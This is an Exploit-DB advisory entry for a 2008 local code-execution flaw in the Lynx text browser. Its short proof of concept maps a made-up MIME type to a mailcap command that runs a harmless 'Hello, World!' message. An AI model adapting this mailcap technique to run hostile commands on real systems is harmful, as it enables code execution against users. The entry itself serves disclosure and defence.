Lynx 2.8 - '.mailcap'/'.mime.type' Local Code Execution

EDB-ID:

32530




Platform:

Linux

Date:

2008-11-03


source: https://www.securityfocus.com/bid/31917/info

Lynx is prone to a local code-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary code within the context of the user running the affected application.

Versions prior to Lynx 2.8.6rel.4 are affected.

.mime.types:
application/x-bug bug

.mailcap:
application/x-bug; xmessage 'Hello, World!'